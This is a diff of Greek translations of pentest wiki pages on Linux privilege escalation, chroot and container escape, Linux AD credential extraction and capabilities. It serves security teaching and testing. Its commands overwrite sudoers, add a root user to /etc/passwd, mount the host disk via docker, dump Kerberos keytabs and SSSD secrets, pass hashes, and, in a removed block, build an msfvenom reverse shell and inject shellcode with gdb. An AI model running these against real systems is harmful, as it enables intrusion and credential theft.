@@ -112,26 +112,26 @@ chroot("."); > FD μπορεί να περαστεί μέσω Unix Domain Sockets, οπότε: > > - Δημιουργήστε μια διαδικασία παιδί (fork) -> - Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλούν +> - Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλήσουν > - Εκτελέστε chroot στη διαδικασία παιδιού σε διαφορετικό φάκελο > - Στη διαδικασία γονέα, δημιουργήστε ένα FD ενός φακέλου που είναι εκτός του νέου chroot της διαδικασίας παιδιού > - Περάστε στη διαδικασία παιδιού αυτό το FD χρησιμοποιώντας το UDS -> - Η διαδικασία παιδιού chdir σε αυτό το FD, και επειδή είναι εκτός του chroot της, θα διαφύγει από τη φυλακή +> - Η διαδικασία παιδιού αλλάζει κατάλογο σε αυτό το FD, και επειδή είναι εκτός του chroot, θα ξεφύγει από τη φυλακή ### Root + Mount > [!WARNING] > -> - Τοποθέτηση της ρίζας συσκευής (/) σε έναν φάκελο μέσα στο chroot -> - Chrooting σε αυτόν τον φάκελο +> - Τοποθέτηση της ρίζας συσκευής (/) σε έναν κατάλογο μέσα στο chroot +> - Chrooting σε αυτόν τον κατάλογο > -> Αυτό είναι δυνατό σε Linux +> Αυτό είναι δυνατό στο Linux ### Root + /proc > [!WARNING] > -> - Τοποθέτηση του procfs σε έναν φάκελο μέσα στο chroot (αν δεν είναι ήδη) +> - Τοποθέτηση του procfs σε έναν κατάλογο μέσα στο chroot (αν δεν είναι ήδη) > - Αναζητήστε ένα pid που έχει διαφορετική είσοδο root/cwd, όπως: /proc/1/root > - Chroot σε αυτήν την είσοδο @@ -198,7 +198,7 @@ BASH_CMDS[shell]=/bin/bash;shell -i ``` ### Wget -Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers. +Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` @@ -209,13 +209,15 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers [https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ **Θα μπορούσε επίσης να είναι ενδιαφέρον η σελίδα:** + {{#ref}} ../bypass-bash-restrictions/ {{#endref}} ## Python Jails -Τεχνικές για την αποφυγή περιορισμών από python jails στη παρακάτω σελίδα: +Τεχνικές για την έξοδο από python jails στην παρακάτω σελίδα: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index e52f4f987..16a8ea092 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Διαχειριστικά Γκρουπ +## Ομάδες Sudo/Διαχειριστή ### **PE - Μέθοδος 1** @@ -31,7 +31,7 @@ find / -perm -4000 2>/dev/null ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές linux οι ομάδες **sudo** και **admin** εμφανίζονται. +Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές Linux οι ομάδες **sudo** και **admin** εμφανίζονται. Για **να γίνετε root μπορείτε να εκτελέσετε**: ```bash @@ -86,9 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -Αν μπορέσουμε να υποκλέψουμε μερικά προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root. +Αν μπορέσουμε να υποκλέψουμε κάποια προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root. -Η υποκλοπή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα `run-parts` όπως (crontab, όταν γίνεται σύνδεση μέσω ssh). +Η υποκλοπή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα `run-parts` όπως (crontab, κατά την είσοδο μέσω ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. +Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν όγκο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. ```bash docker image #Get images from the docker service @@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις, ή αν δεν λειτουργούν για κάποιο λόγο (docker api firewall;) μπορείτε πάντα να **τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό** όπως εξηγείται εδώ: +Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις ή δεν λειτουργούν για κάποιο λόγο (docker api firewall;), μπορείτε πάντα να **τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό** όπως εξηγείται εδώ: {{#ref}} ../docker-security/ @@ -218,11 +218,11 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Adm Group Συνήθως οι **μέλη** της ομάδας **`adm`** έχουν δικαιώματα να **διαβάζουν** αρχεία καταγραφής που βρίσκονται μέσα στο _/var/log/_.\ -Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια **ματιά στα logs**. +Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια **ματιά στα αρχεία καταγραφής**. ## Auth group -Μέσα στο OpenBSD η ομάδα **auth** συνήθως μπορεί να γράφει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\ +Μέσα στο OpenBSD, η ομάδα **auth** συνήθως μπορεί να γράφει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\ Αυτά τα δικαιώματα μπορεί να εκμεταλλευτούν με την παρακάτω εκμετάλλευση για να **κλιμακώσουν τα προνόμια** σε root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 58e7c23e8..8257ef8d9 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -51,9 +51,9 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE ticket reuse from keyring -**Τα εισιτήρια Kerberos που αποθηκεύονται στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτό το σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση εισιτηρίων στο `/tmp`. +**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`. -Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα: +Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούν τα παρακάτω βήματα: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey @@ -66,14 +66,14 @@ make CONF=Release Το SSSD διατηρεί ένα αντίγραφο της βάσης δεδομένων στη διαδρομή `/var/lib/sss/secrets/secrets.ldb`. Το αντίστοιχο κλειδί αποθηκεύεται ως κρυφό αρχείο στη διαδρομή `/var/lib/sss/secrets/.secrets.mkey`. Από προεπιλογή, το κλειδί είναι αναγνώσιμο μόνο αν έχετε δικαιώματα **root**. -Η κλήση του **`SSSDKCMExtractor`** με τις παραμέτρους --database και --key θα αναλύσει τη βάση δεδομένων και θα **αποκρυπτογραφήσει τα μυστικά**. +Η εκτέλεση του **`SSSDKCMExtractor`** με τις παραμέτρους --database και --key θα αναλύσει τη βάση δεδομένων και θα **αποκρυπτογραφήσει τα μυστικά**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -Το **credential cache Kerberos blob μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus. +Το **blob κρυπτογράφησης Kerberos μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus. -### CCACHE ticket reuse από keytab +### Επαναχρησιμοποίηση εισιτηρίου CCACHE από keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab @@ -81,9 +81,9 @@ klist -k /etc/krb5.keytab ``` ### Εξαγωγή λογαριασμών από το /etc/krb5.keytab -Οι κωδικοί υπηρεσιών, που είναι απαραίτητοι για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτοί οι κωδικοί, παρόμοιοι με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα. +Τα κλειδιά λογαριασμού υπηρεσίας, που είναι απαραίτητα για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτά τα κλειδιά, παρόμοια με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα. -Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο έχει σχεδιαστεί για να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23. +Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο είναι σχεδιασμένο να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash @@ -97,7 +97,7 @@ python3 keytabextract.py krb5.keytab ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` -Χρησιμοποιώντας τις εξαγόμενες πληροφορίες λογαριασμού και κατακερματισμού, μπορούν να δημιουργηθούν συνδέσεις με διακομιστές χρησιμοποιώντας εργαλεία όπως το **`crackmapexec`**. +Χρησιμοποιώντας τις εξαγόμενες πληροφορίες λογαριασμού και hash, μπορούν να δημιουργηθούν συνδέσεις με διακομιστές χρησιμοποιώντας εργαλεία όπως το **`crackmapexec`**. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index f8634a6ec..4f3e684ff 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -34,8 +34,8 @@ 4. **Bounding (CapBnd)**: - **Σκοπός**: Θέτει ένα ανώτατο όριο στις δυνατότητες που μπορεί να αποκτήσει μια διαδικασία κατά τη διάρκεια του κύκλου ζωής της. -- **Λειτουργικότητα**: Ακόμη και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιοριστικό σύνολο. -- **Χρήση**: Αυτό το σύνολο είναι ιδιαίτερα χρήσιμο για τον περιορισμό της δυνατότητας ανύψωσης δικαιωμάτων μιας διαδικασίας, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. +- **Λειτουργικότητα**: Ακόμα και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιοριστικό σύνολο. +- **Χρήση**: Αυτό το σύνολο είναι ιδιαίτερα χρήσιμο για τον περιορισμό της δυνατότητας ανόδου δικαιωμάτων μιας διαδικασίας, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. 5. **Ambient (CapAmb)**: - **Σκοπός**: Επιτρέπει σε ορισμένες δυνατότητες να διατηρούνται κατά τη διάρκεια μιας κλήσης συστήματος `execve`, η οποία συνήθως θα οδηγούσε σε πλήρη επαναφορά των δυνατοτήτων της διαδικασίας. @@ -59,8 +59,8 @@ process.preserve_capabilities_across_execve('CapAmb') ### Δυνατότητες Διαδικασιών -Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Καθώς παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε τις πληροφορίες μόνο στις σχετικές με τις δυνατότητες του Linux.\ -Σημειώστε ότι για όλες τις εκτελούμενες διαδικασίες, οι πληροφορίες δυνατότητας διατηρούνται ανά νήμα, ενώ για τα εκτελέσιμα αρχεία στο σύστημα αρχείων αποθηκεύονται σε επεκτάσιμες ιδιότητες. +Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Δεδομένου ότι παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε τις πληροφορίες μόνο στις σχετικές με τις δυνατότητες του Linux.\ +Σημειώστε ότι για όλες τις εκτελούμενες διαδικασίες, οι πληροφορίες σχετικά με τις δυνατότητες διατηρούνται ανά νήμα, ενώ για τα εκτελέσιμα αρχεία στο σύστημα αρχείων αποθηκεύονται σε επεκτάσιμες ιδιότητες. Μπορείτε να βρείτε τις δυνατότητες που ορίζονται στο /usr/include/linux/capability.h @@ -84,7 +84,7 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` -Αυτοί οι δεκαεξαδικοί αριθμοί δεν έχουν νόημα. Χρησιμοποιώντας το capsh utility μπορούμε να τους αποκωδικοποιήσουμε στα ονόματα των δυνατοτήτων. +Αυτοί οι δεκαεξαδικοί αριθμοί δεν έχουν νόημα. Χρησιμοποιώντας το εργαλείο capsh μπορούμε να τους αποκωδικοποιήσουμε στα ονόματα των δυνατοτήτων. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 @@ -101,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλώς χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών. +Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλά χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών. ```bash getpcaps 1234 ``` @@ -175,7 +175,7 @@ cap_sys_admin,22,25 jrsysadmin ``` ## Περιβαλλοντικές Ικανότητες -Με τη σύνταξη του παρακάτω προγράμματος είναι δυνατό να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**. +Με τη σύνθεση του παρακάτω προγράμματος είναι δυνατόν να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**. ```c:ambient.c /* * Test program for the ambient capabilities @@ -271,7 +271,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` -Μέσα στο **bash που εκτελείται από το συμπιεσμένο δυαδικό περιβάλλον** είναι δυνατόν να παρατηρηθούν οι **νέες δυνατότητες** (ένας κανονικός χρήστης δεν θα έχει καμία δυνατότητα στην "τρέχουσα" ενότητα). +Μέσα από το **bash που εκτελείται από το συμπιεσμένο δυαδικό περιβάλλον** είναι δυνατόν να παρατηρηθούν οι **νέες δυνατότητες** (ένας κανονικός χρήστης δεν θα έχει καμία δυνατότητα στην "τρέχουσα" ενότητα). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip @@ -279,9 +279,9 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip > [!CAUTION] > Μπορείτε **μόνο να προσθέσετε ικανότητες που είναι παρούσες** και στα δύο σύνολα, το επιτρεπόμενο και το κληρονομούμενο. -### Ικανότητες ευαισθητοποίησης/Ικανότητες χωρίς ευαισθητοποίηση +### Ικανότητες ευαισθητοποίησης/Ικανότητες ανόητων δυαδικών -Οι **δυαδικοί κώδικες με ευαισθητοποίηση ικανοτήτων δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικοί κώδικες χωρίς ευαισθητοποίηση θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τους δυαδικούς κώδικες χωρίς ευαισθητοποίηση ευάλωτους μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες στους δυαδικούς κώδικες. +Οι **δυαδικοί που είναι ευαισθητοποιημένοι στις ικανότητες δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικοί ανόητοι στις ικανότητες θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τους δυαδικούς ανόητους στις ικανότητες ευάλωτους μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες σε δυαδικούς. ## Ικανότητες Υπηρεσίας @@ -311,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained ``` ## Privesc/Container Escape -Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διεργασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και τη σύνδεση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root. +Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διαδικασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και τη σύνδεση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root. Μπορείτε να επιβάλετε δυνατότητες σε προγράμματα χρησιμοποιώντας `setcap`, και να τις ελέγξετε χρησιμοποιώντας `getcap`: ```bash @@ -346,24 +346,24 @@ getcap /usr/sbin/tcpdump ``` ### Η ειδική περίπτωση των "κενών" ικανοτήτων -[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): Σημειώστε ότι μπορεί κανείς να αναθέσει κενές ικανότητες σε ένα αρχείο προγράμματος, και έτσι είναι δυνατό να δημιουργηθεί ένα πρόγραμμα set-user-ID-root που αλλάζει την αποτελεσματική και αποθηκευμένη set-user-ID της διαδικασίας που εκτελεί το πρόγραμμα σε 0, αλλά δεν παρέχει καμία ικανότητα σε αυτή τη διαδικασία. Ή, απλά, αν έχετε ένα δυαδικό που: +[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): Σημειώστε ότι μπορεί κανείς να αναθέσει κενές ικανότητες σε ένα αρχείο προγράμματος, και έτσι είναι δυνατόν να δημιουργηθεί ένα πρόγραμμα με set-user-ID-root που αλλάζει το αποτελεσματικό και αποθηκευμένο set-user-ID της διαδικασίας που εκτελεί το πρόγραμμα σε 0, αλλά δεν παρέχει καμία ικανότητα σε αυτή τη διαδικασία. Ή, απλά, αν έχετε ένα δυαδικό που: 1. δεν ανήκει στον root -2. δεν έχει ρυθμισμένα bits `SUID`/`SGID` +2. δεν έχει bits `SUID`/`SGID` ρυθμισμένα 3. έχει κενές ικανότητες (π.χ.: `getcap myelf` επιστρέφει `myelf =ep`) τότε **αυτό το δυαδικό θα εκτελείται ως root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια εξαιρετικά ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε κοντεϊνερικές περιβάλλοντα, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια πολύ ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε περιβάλλοντα κοντέινερ, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης. **Παράδειγμα με δυαδικό** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` -Χρησιμοποιώντας python, μπορείτε να τοποθετήσετε ένα τροποποιημένο _passwd_ αρχείο πάνω από το πραγματικό _passwd_ αρχείο: +Χρησιμοποιώντας το python, μπορείτε να τοποθετήσετε ένα τροποποιημένο _passwd_ αρχείο πάνω από το πραγματικό _passwd_ αρχείο: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" @@ -418,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk - **Πλήρης πρόσβαση** Στην προηγούμενη μέθοδο καταφέραμε να αποκτήσουμε πρόσβαση στον δίσκο του docker host.\ -Σε περίπτωση που διαπιστώσετε ότι ο host εκτελεί έναν **ssh** server, μπορείτε να **δημιουργήσετε έναν χρήστη μέσα στον δίσκο του docker host** και να αποκτήσετε πρόσβαση μέσω SSH: +Σε περίπτωση που διαπιστώσετε ότι ο host εκτελεί έναν **ssh** server, θα μπορούσατε να **δημιουργήσετε έναν χρήστη μέσα στον δίσκο του docker host** και να αποκτήσετε πρόσβαση μέσω SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -434,7 +434,7 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε κάποια διαδικασία που εκτελείται μέσα στον κεντρικό υπολογιστή.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον κεντρικό υπολογιστή, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**. +**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε μια διαδικασία που εκτελείται μέσα στον οικοδεσπότη.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον οικοδεσπότη, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**. **[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** παρέχει τη δυνατότητα χρήσης λειτουργιών αποσφαλμάτωσης και παρακολούθησης κλήσεων συστήματος που παρέχονται από το `ptrace(2)` και κλήσεις διασύνδεσης μνήμης όπως το `process_vm_readv(2)` και το `process_vm_writev(2)`. Αν και είναι ισχυρό για διαγνωστικούς και παρακολούθησης σκοπούς, εάν το `CAP_SYS_PTRACE` είναι ενεργοποιημένο χωρίς περιοριστικά μέτρα όπως ένα φίλτρο seccomp στο `ptrace(2)`, μπορεί να υπονομεύσει σημαντικά την ασφάλεια του συστήματος. Συγκεκριμένα, μπορεί να εκμεταλλευτεί για να παρακάμψει άλλους περιορισμούς ασφαλείας, ιδίως αυτούς που επιβάλλονται από το seccomp, όπως αποδεικνύεται από [αποδείξεις έννοιας (PoC) όπως αυτή](https://gist.github.com/thejh/8346f47e359adecd1d53). @@ -536,48 +536,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None) ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` -```markdown -# Δημιουργία Shellcode με msfvenom για Εισαγωγή στη Μνήμη μέσω gdb - -Για να δημιουργήσετε ένα shellcode με το msfvenom που θα εισαχθεί στη μνήμη μέσω gdb, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: - -```bash -msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f c -``` - -Αυτή η εντολή θα δημιουργήσει ένα shellcode που θα συνδεθεί πίσω στον καθορισμένο διευθυντή IP και θύρα. - -## Εισαγωγή στη Μνήμη με gdb - -Αφού έχετε το shellcode, μπορείτε να το εισάγετε στη μνήμη χρησιμοποιώντας το gdb. Ακολουθήστε τα παρακάτω βήματα: - -1. Εκκινήστε το gdb με το εκτελέσιμο αρχείο σας: - ```bash - gdb ./your_executable - ``` - -2. Ρυθμίστε ένα breakpoint στο σημείο που θέλετε να εισάγετε το shellcode: - ```gdb - (gdb) break *0x
- ``` - -3. Ξεκινήστε την εκτέλεση του προγράμματος: - ```gdb - (gdb) run - ``` - -4. Όταν φτάσετε στο breakpoint, εισάγετε το shellcode: - ```gdb - (gdb) set {char[]} 0x
